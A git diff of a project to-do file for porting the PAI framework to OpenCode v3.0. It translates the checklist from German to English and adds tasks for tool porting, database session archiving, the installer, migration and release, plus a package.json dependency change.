`.opencode/PAI/CLI.md` -- [ ] `SYSTEM_USER_EXTENDABILITY.md` → `.opencode/PAI/SYSTEM_USER_EXTENDABILITY.md` -- [ ] `ACTIONS/` → `.opencode/PAI/ACTIONS/` (Verzeichnis, nicht nur ACTIONS.md) -- [ ] `README.md` → `.opencode/PAI/README.md` +- [ ] All 9 files: replace `.claude/` → `.opencode/` after copy -Jede Datei nach Port prüfen: -- [ ] `.claude/` Referenzen → `.opencode/` ersetzen -- [ ] Absolut-Pfade entfernen/anpassen +**3 subdirectories missing from `.opencode/PAI/`:** +- [ ] `ACTIONS/` — port from v4.0.3 (contains `A_EXAMPLE_FORMAT/`, `A_EXAMPLE_SUMMARIZE/`, `lib/`, `pai.ts`, `README.md`) +- [ ] `FLOWS/` — port from v4.0.3 (contains `README.md`) +- [ ] `PIPELINES/` — port from v4.0.3 (contains `P_EXAMPLE_SUMMARIZE_AND_FORMAT.yaml`, `README.md`) +- [ ] All ported files: replace `.claude/` → `.opencode/` after copy -### C.2 — Fehlende PAI Tools portieren (`.opencode/skills/PAI/Tools/`) - -Referenz: `/Releases/v4.0.3/.claude/PAI/Tools/` +> [!NOTE] +> Already present in `.opencode/PAI/` (no action needed): `ACTIONS.md`, `AISTEERINGRULES.md`, +> `CONTEXT_ROUTING.md`, `MEMORYSYSTEM.md`, `MINIMAL_BOOTSTRAP.md`, `PAISYSTEMARCHITECTURE.md`, +> `PRDFORMAT.md`, `SKILL.md`, `SKILLSYSTEM.md`, `THEDELEGATIONSYSTEM.md`, `THEHOOKSYSTEM.md`, `TOOLS.md` -**Priorität 1 — Essential:** -- [ ] `algorithm.ts` portieren → CLI zum Ausführen des Algorithms -- [ ] `RebuildPAI.ts` portieren → PAI-Struktur neu aufbauen -- [ ] `IntegrityMaintenance.ts` portieren → Health Checks -- [ ] `AlgorithmPhaseReport.ts` portieren → Phase-Reporting -- [ ] `FailureCapture.ts` portieren → Failure-Tracking +> [!NOTE] +> Already present in `.opencode/skills/PAI/SYSTEM/` (docs exist, also belong in PAI/ per v4.0.3 arch): +> `PAIAGENTSYSTEM.md`, `CLIFIRSTARCHITECTURE.md`, `THEFABRICSYSTEM.md`, `THENOTIFICATIONSYSTEM.md`, +> `DOCUMENTATIONINDEX.md`, `SYSTEM_USER_EXTENDABILITY.md` — copy to PAI/ as well. -**Priorität 2 — Valuable:** -- [ ] `GetCounts.ts` portieren (wir haben GenerateSkillIndex — prüfen ob redundant) -- [ ] `BuildCLAUDE.ts` → **als `BuildOpenCode.ts` neu schreiben** (Claude-Code-spezifisch, für OpenCode adaptieren) +--- -**Priorität 3 — Nice to have (nach v3.0 ok):** -- [ ] `PipelineMonitor.ts`, `PipelineOrchestrator.ts` (komplex, zurückstellen) -- [ ] `OpinionTracker.ts`, `RelationshipReflect.ts` (Spezialtools) -- [ ] `WisdomCrossFrameSynthesizer.ts`, `WisdomDomainClassifier.ts` +### C.4 — PAI Tools: BuildCLAUDE.ts → BuildOpenCode.ts -### C.3 — Skill-Struktur-Fixes +> [!NOTE] +> All other PAI Tools are already present in `.opencode/PAI/Tools/` — identical to v4.0.3. +> Only `BuildCLAUDE.ts` needs adaptation for OpenCode. -**Telos/ — 3 Einträge fehlen:** -- [ ] `skills/Telos/DashboardTemplate/` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Telos/ReportTemplate/` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Telos/Tools/` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Telos/Workflows/` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Telos/SKILL.md` aktualisieren (neue Entries referenzieren) +- [ ] Copy `.opencode/PAI/Tools/BuildCLAUDE.ts` → `.opencode/PAI/Tools/BuildOpenCode.ts` +- [ ] In `BuildOpenCode.ts`: replace all `.claude/` → `.opencode/` +- [ ] In `BuildOpenCode.ts`: replace all `CLAUDE.md` → `AGENTS.md` +- [ ] In `BuildOpenCode.ts`: replace all `claude` CLI references → `opencode` +- [ ] Update file header comment: `// BuildOpenCode.ts — OpenCode-native version of BuildCLAUDE.ts` -**USMetrics/ — falsche Nested-Struktur:** -- [ ] `skills/USMetrics/USMetrics/` Inhalt nach `skills/USMetrics/` verschieben -- [ ] `skills/USMetrics/USMetrics/` Verzeichnis löschen (flache Struktur wie v4.0.3) -- [ ] `skills/USMetrics/SKILL.md` prüfen und anpassen +--- -**Utilities/ — 2 Einträge fehlen:** -- [ ] `skills/Utilities/AudioEditor/` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Utilities/Delegation/` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Utilities/SKILL.md` aktualisieren +### C.5 — Bootstrap & Index Update -**Research/ — 2 Einträge fehlen:** -- [ ] `skills/Research/MigrationNotes.md` erstellen (aus v4.0.3 portieren) -- [ ] `skills/Research/Templates/` erstellen (aus v4.0.3 portieren) +- [ ] Update `MINIMAL_BOOTSTRAP.md` — fix USMetrics path (remove `/USMetrics/USMetrics/` nesting) +- [ ] Update `MINIMAL_BOOTSTRAP.md` — add AudioEditor and Delegation entries +- [ ] Regenerate skill index: `bun GenerateSkillIndex.ts` -**Agents/ — 1 fehlende Context-Datei:** -- [ ] `skills/Agents/ClaudeResearcherContext.md` aus v4.0.3 prüfen + portieren +--- -### C.4 — MINIMAL_BOOTSTRAP.md aktualisieren -- [ ] Neue Skills (Telos-Tools, AudioEditor, Delegation) eintragen -- [ ] USMetrics-Pfad korrigieren (nach Strukturfix) -- [ ] Neue PAI-Docs-Einträge (falls nötig) +### PR #C Completion -### Abschluss PR #C - [ ] `bun run skills:validate` (ValidateSkillStructure.ts) - [ ] `bun run skills:index` (GenerateSkillIndex.ts) - [ ] `biome check --write .` -- [ ] PR gegen `dev` - ---- - -## 🔵 WP-F — DB Health & Session Archivierung (in PR #D integriert) - -**Branch:** `feature/wp6-installer-migration` (gleicher Branch wie PR #D) -**Geschätzter Aufwand:** 0.5–1 Tag (zusätzlich zu WP6) -**Abhängigkeiten:** PR #A (session-cleanup.ts bereits Grundlage) -**Priorität:** WICHTIG — verhindert DB-Wachstum auf 2+ GB - -> [!warning] -> **Hintergrund:** OpenCode hat keine automatische Session-Retention. -> Die `opencode.db` wächst unendlich. Nach 3 Monaten: 2.4 GB, 234k Parts. -> Beim ersten Start blockiert das DB-Lock den Start (Startup-Race). -> PAI-OpenCode 3.0 braucht eine OpenCode-native Lösung. - -### WP-F.1 — Plugin Event: Automatische DB-Warnung - -- [ ] **`plugins/handlers/session-cleanup.ts`** (bereits in WP-A geplant) **ERWEITERN:** - ```typescript - // Nach Session-Ende: DB-Health prüfen - async function checkDbHealth(): Promise { - const sizeMB = getDbSizeMB(); - const oldSessions = getSessionsOlderThan(90); - if (sizeMB > 500 || oldSessions > 100) { - fileLog(`[DBWarning] DB ${sizeMB}MB | ${oldSessions} Sessions > 90d → /db-archive empfohlen`); - // Optional: UI-Notification wenn OpenCode Notification-API verfügbar - } - } - ``` -- [ ] `getDbSizeMB()` Utility in `plugins/lib/db-utils.ts` implementieren -- [ ] `getSessionsOlderThan(days)` Utility ebenfalls in `db-utils.ts` - -### WP-F.2 — Standalone Tool: `Tools/db-archive.ts` - -- [ ] **`Tools/db-archive.ts`** erstellen (Bun-Script, standalone): - ```bash - # Usage: - bun db-archive.ts # Archive sessions > 90 days (default) - bun db-archive.ts 180 # Archive sessions > 180 days - bun db-archive.ts --dry-run # Zeige was archiviert werden würde - bun db-archive.ts --vacuum # VACUUM nach Archivierung - bun db-archive.ts --restore archive-2025-Q4.db # Archiv wiederherstellen - ``` -- [ ] **Interface definieren:** - ```typescript - interface ArchiveConfig { - daysToKeep: number; // Default: 90 - archiveDir: string; // Default: ~/.opencode/archives/ - autoVacuum: boolean; // Default: false (OpenCode muss aus sein!) - dryRun: boolean; - } - interface ArchiveResult { - sessionsArchived: number; - messagesArchived: number; - partsArchived: number; - spaceSaved: string; // "1.2 GB" - archivePath: string; - } - ``` -- [ ] **Export-Logik:** `ATTACH DATABASE ... AS archive` → kopiere session/message/part -- [ ] **Lösch-Logik:** `DELETE FROM session WHERE time_created < cutoff` (CASCADE löscht Messages+Parts) -- [ ] **VACUUM-Logik:** `PRAGMA wal_checkpoint(TRUNCATE)` + `VACUUM` (nur wenn OpenCode nicht läuft) -- [ ] **Restore-Logik:** `INSERT OR IGNORE INTO main.session SELECT * FROM archive.session` -- [ ] **`~/.opencode/archives/archive-index.json`** pflegen (Datum, Count, Größe, Pfad) - -### WP-F.3 — Custom Command: `/db-archive` in OpenCode - -- [ ] **`.opencode/commands/db-archive.ts`** erstellen (OpenCode Custom Command): - - Aufrufbar direkt im TUI: `/db-archive` - - Zeigt: DB-Größe, Session-Anzahl, älteste 5 Sessions - - Fragt: "Archiviere Sessions älter als 90 Tage? (j/n)" - - Führt aus: Export → Löschen → WAL Checkpoint (kein VACUUM da OpenCode läuft) - - Meldet: "X Sessions archiviert, Y MB freigegeben" -- [ ] **VACUUM-Hinweis im Command:** "Für vollständige Defragmentation: OpenCode beenden → `bun db-archive.ts --vacuum`" - -### WP-F.4 — Electron GUI: "DB Health" Tab im Installer - -- [ ] In `PAI-Install/electron/` einen **"DB Health"** Tab hinzufügen: - - **Status-Panel:** DB-Größe, Session-Count, WAL-Größe, Wachstumstrend - - **Archiv-Aktion:** Slider "Sessions älter als N Tage archivieren" - - **VACUUM-Button:** Setzt voraus dass OpenCode beendet ist → Prüfung + Hinweis - - **Archiv-Browser:** Liste der vorhandenen Archive + Restore-Button pro Session -- [ ] Electron ruft `db-archive.ts` als Child-Process auf -- [ ] **Sicherheitshinweis im GUI:** "VACUUM erfordert dass OpenCode beendet ist" - -### WP-F.5 — Dokumentation - -- [ ] **`docs/DB-MAINTENANCE.md`** erstellen: - - Was ist das Problem (DB-Wachstum, Lock-Error beim Start) - - Die drei Lösungsebenen (Plugin / CLI / GUI) - - VACUUM Erklärung (analog Defragmentation) - - Wie Client-Side Pruning und Server-Side DB sich unterscheiden - - Empfohlener Rhythmus: Archivierung quartalsweise, VACUUM nach Archivierung - -### Abschluss WP-F -- [ ] `bun Tools/db-archive.ts --dry-run` auf echter DB testen -- [ ] Custom Command `/db-archive` in frischer Session testen -- [ ] Archiv-Restore testen (eine Session wiederherstellen) -- [ ] `biome check --write .` +- [ ] `bun test` +- [ ] Create PR against `dev` --- ## 🟢 PR #D — WP6: Installer & Migration -**Branch:** `feature/wp-d-installer-migration` -**Geschätzter Aufwand:** 1–2 Tage -**Abhängigkeiten:** PR #C -**Priorität:** KRITISCH (Release-Blocker) +**Branch:** `feature/wp-d-installer-migration` +**Estimated effort:** 1–2 days +**Dependencies:** PR #C +**Priority:** CRITICAL (release blocker) -### PAI-Install portieren +### Port PAI-Install -Referenz: `/Releases/v4.0.3/.claude/PAI-Install/` +Reference: `.../Releases/v4.0.3/.claude/PAI-Install/` -- [ ] `PAI-Install/install.sh` portieren + für OpenCode anpassen +- [ ] `PAI-Install/install.sh` — port + adapt for OpenCode - `~/.claude/` → `~/.opencode/` - - `CLAUDE.md` → `AGENTS.md` (OpenCode-Konvention) -- [ ] `PAI-Install/cli/` portieren -- [ ] `PAI-Install/engine/` portieren -- [ ] `PAI-Install/electron/` portieren + für OpenCode anpassen (**Pflicht für v3.0**) - - Electron-App als GUI-Installer: "PAI-OpenCode installieren" mit Schritt-für-Schritt UI - - Alle Referenzen auf Claude Code → OpenCode anpassen -- [ ] `PAI-Install/web/` portieren (Electron-Web-UI) -- [ ] `PAI-Install/main.ts` für OpenCode anpassen -- [ ] `PAI-Install/README.md` schreiben - -> [!important] -> **Electron-GUI ist Pflicht für v3.0** — CLI-Installer UND Electron-GUI beide required + - `CLAUDE.md` → `AGENTS.md` +- [ ] `PAI-Install/cli/` — port +- [ ] `PAI-Install/engine/` — port +- [ ] `PAI-Install/electron/` — port + adapt for OpenCode (**required for v3.0**) + - Electron app as GUI installer: step-by-step "Install PAI-OpenCode" UI + - Replace all Claude Code references → OpenCode +- [ ] `PAI-Install/web/` — port (Electron web UI) +- [ ] `PAI-Install/main.ts` — adapt for OpenCode +- [ ] `PAI-Install/README.md` — write + +> [!IMPORTANT] +> **Electron GUI is required for v3.0** — both CLI installer AND Electron GUI ### Migration Script -- [ ] **`tools/migration-v2-to-v3.ts`** erstellen: +- [ ] Create `tools/migration-v2-to-v3.ts`: ```text 1. Backup ~/.opencode/ → ~/.opencode-backup-YYYYMMDD/ 2. Detect current version (v2.x vs v3.x) - 3. Move flat skills → hierarchical structure (wenn noch nicht) + 3. Move flat skills → hierarchical structure (if not already done) 4. Update MINIMAL_BOOTSTRAP.md 5. Run ValidateSkillStructure.ts - 6. Report: was migriert, was übersprungen, was manuell zu prüfen + 6. Report: what was migrated, what was skipped, what needs manual review ``` -- [ ] Migration gegen Test-Setup testen (frische v2.x Struktur) - -### Dokumentation -- [ ] **`UPGRADE.md`** schreiben: Schritt-für-Schritt von v2.x → v3.0 -- [ ] **`INSTALL.md`** schreiben: Frisch-Installation für neue User -- [ ] **`CHANGELOG.md`** erstellen: Alle Breaking Changes, neue Features, Migrationspfad -- [ ] **`README.md`** (Root) aktualisieren: v3.0-spezifische Infos - -### Abschluss PR #D -- [ ] Migration-Script auf sauberem Test-Verzeichnis testen -- [ ] Install-Script dry-run -- [ ] PR gegen `dev` +- [ ] Test migration against a clean v2.x test setup + +### DB Health (WP-F — integrated into PR #D) + +- [ ] Extend `plugins/handlers/session-cleanup.ts` with `checkDbHealth()` — warn when DB > 500MB or sessions > 90 days old +- [ ] Implement `plugins/lib/db-utils.ts` — `getDbSizeMB()` and `getSessionsOlderThan(days)` +- [ ] Create `Tools/db-archive.ts` — standalone Bun script for session archiving + - `bun db-archive.ts` — archive sessions > 90 days + - `bun db-archive.ts 180` — archive sessions > 180 days + - `bun db-archive.ts --dry-run` — preview what would be archived + - `bun db-archive.ts --vacuum` — VACUUM after archiving (requires OpenCode to be stopped) + - `bun db-archive.ts --restore archive-2025-Q4.db` — restore from archive +- [ ] Create `.opencode/commands/db-archive.ts` — OpenCode custom command `/db-archive` +- [ ] Add "DB Health" tab to `PAI-Install/electron/` +- [ ] Create `docs/DB-MAINTENANCE.md` + +### Documentation + +- [ ] Write `UPGRADE.md` — step-by-step from v2.x → v3.0 +- [ ] Write `INSTALL.md` — fresh installation for new users +- [ ] Create `CHANGELOG.md` — all breaking changes, new features, migration path +- [ ] Update root `README.md` — v3.0-specific info + +### PR #D Completion + +- [ ] Test migration script on clean test directory +- [ ] Install script dry-run +- [ ] `bun Tools/db-archive.ts --dry-run` on a real DB +- [ ] Test custom command `/db-archive` in a fresh session +- [ ] Test archive restore (restore one session) +- [ ] `biome check --write .` +- [ ] Create PR against `dev` --- ## 🏁 PR #E — WP-E: Final Testing & v3.0.0 Release -**Branch:** `release/v3.0.0` von `dev` -**Geschätzter Aufwand:** 0.5–1 Tag -**Abhängigkeiten:** PRs #A–#D alle gemergt -**Priorität:** KRITISCH (letzter Schritt) +**Branch:** `release/v3.0.0` from `dev` +**Estimated effort:** 0.5–1 day +**Dependencies:** PRs #A–#D all merged +**Priority:** CRITICAL (final step) ### Pre-Release Tests -- [ ] `bun test` — alle Tests grün + +- [ ] `bun test` — all tests green - [ ] `biome check .` — zero errors -- [ ] `bun run skills:validate` — alle Skills valide -- [ ] Manuelle End-to-End: Algorithm 7 Phasen durchlaufen -- [ ] Plugin-Events prüfen: Hooks feuern korrekt (session-start, tool-call, session-end) -- [ ] Injection-Guard testen: bekannte Patterns blockiert -- [ ] Migration-Script: frischer Durchlauf von v2 → v3 +- [ ] `bun run skills:validate` — all skills valid +- [ ] Manual end-to-end: Algorithm 7 phases complete run +- [ ] Plugin events check: hooks fire correctly (session-start, tool-call, session-end) +- [ ] Injection guard test: known patterns blocked +- [ ] Migration script: clean run from v2 → v3 ### GitHub Release -- [ ] Tag `v3.0.0` erstellen -- [ ] GitHub Release aus `CHANGELOG.md` befüllen -- [ ] Release Notes: What's New, Breaking Changes, Migration -### Kommunikation (optional) -- [ ] PAI Community (Discord/GitHub Discussions) informieren -- [ ] `CONTRIBUTING.md` prüfen: Sind Guidelines noch aktuell? +- [ ] Create tag `v3.0.0` +- [ ] Fill GitHub Release from `CHANGELOG.md` +- [ ] Release notes: What's New, Breaking Changes, Migration + +### Communication (optional) + +- [ ] Inform PAI Community (Discord/GitHub Discussions) +- [ ] Review `CONTRIBUTING.md` — are guidelines still current? --- -## 📋 Quick Reference: Dateien die wir löschen / umstrukturieren +## 📋 Quick Reference: Files to Delete / Restructure -| Datei | Aktion | Grund | -|-------|--------|-------| -| `docs/epic/ARCHITECTURE-PLAN.md` | 🗑️ Gelöscht | Inhalt in EPIC + GAP-ANALYSIS konsolidiert | -| `docs/epic/WP4-IMPLEMENTATION-PLAN.md` | 🗑️ Gelöscht | WP4 abgeschlossen, veraltet | -| `docs/epic/WORK-PACKAGE-GUIDELINES.md` | 🗑️ Gelöscht | Wichtige Teile ins EPIC integriert | -| `.opencode/skills/USMetrics/USMetrics/` | 🔀 Flatten | Falsche Nested-Struktur → in PR #C | -| `.opencode/PAI/WP2_CONTEXT_COMPARISON.md` | 🗑️ Gelöscht | Build-Artefakt, kein dauerhafter Wert | +| File | Action | Reason | +|------|--------|--------| +| `docs/epic/ARCHITECTURE-PLAN.md` | 🗑️ Deleted | Content consolidated into EPIC + GAP-ANALYSIS | +| `docs/epic/WP4-IMPLEMENTATION-PLAN.md` | 🗑️ Deleted | WP4 complete, outdated | +| `docs/epic/WORK-PACKAGE-GUIDELINES.md` | 🗑️ Deleted | Important parts integrated into EPIC | +| `.opencode/skills/USMetrics/USMetrics/` | 🔀 Flatten → PR #C | Incorrect nested structure | +| `.opencode/skills/Telos/Telos/` | 🔀 Flatten → PR #C | Incorrect nested structure | +| `.opencode/PAI/WP2_CONTEXT_COMPARISON.md` | 🗑️ Deleted | Build artifact, no lasting value | --- -## 🗂️ Endstruktur `docs/epic/` (Zielzustand nach Konsolidierung) +## 🗂️ Target Structure `docs/epic/` (after consolidation) ```text docs/epic/ ├── EPIC-v3.0-Synthesis-Architecture.md ← Master (Vision + WP-Status + Guidelines) -├── GAP-ANALYSIS-v3.0.md ← Audit-Ergebnis (Referenz für PR-Arbeit) -├── OPTIMIZED-PR-PLAN.md ← Aktiver PR-Plan (A-E) -└── TODO-v3.0.md ← Diese Datei (granulare Tasks) +├── GAP-ANALYSIS-v3.0.md ← Audit result (reference for PR work) +├── OPTIMIZED-PR-PLAN.md ← Active PR plan (A-E) +└── TODO-v3.0.md ← This file (granular tasks) ```
-Mermaid-Ansicht der Zielstruktur +Mermaid view of target structure ```mermaid graph TD root["docs/epic/"] root --> epic["EPIC-v3.0-Synthesis-Architecture.md
Master: Vision + WP-Status + Guidelines"] - root --> gap["GAP-ANALYSIS-v3.0.md
Audit-Ergebnis (3-Wege-Vergleich)"] - root --> plan["OPTIMIZED-PR-PLAN.md
Aktiver PR-Plan (A–E)"] - root --> todo["TODO-v3.0.md
Granulare Tasks"] + root --> gap["GAP-ANALYSIS-v3.0.md
Audit result (3-way comparison)"] + root --> plan["OPTIMIZED-PR-PLAN.md
Active PR plan (A–E)"] + root --> todo["TODO-v3.0.md
Granular tasks"] ```
--- -*Erstellt: 2026-03-06* -*Basis: GAP-ANALYSIS-v3.0.md + EPIC-v3.0-Synthesis-Architecture.md* +*Created: 2026-03-06* +*Updated: 2026-03-08 — WP-A/WP-B merged; WP-C verified against v4.0.3 upstream* +*Basis: GAP-ANALYSIS-v3.0.md + EPIC-v3.0-Synthesis-Architecture.md + live repo audit* diff --git a/package.json b/package.json index 0d7862ae..86bd6ac1 100644 --- a/package.json +++ b/package.json @@ -10,6 +10,7 @@ }, "dependencies": { "diff": "^8.0.3", - "yaml": "^2.8.2" + "yaml": "^2.8.2", + "zod": "^3.25.42" } }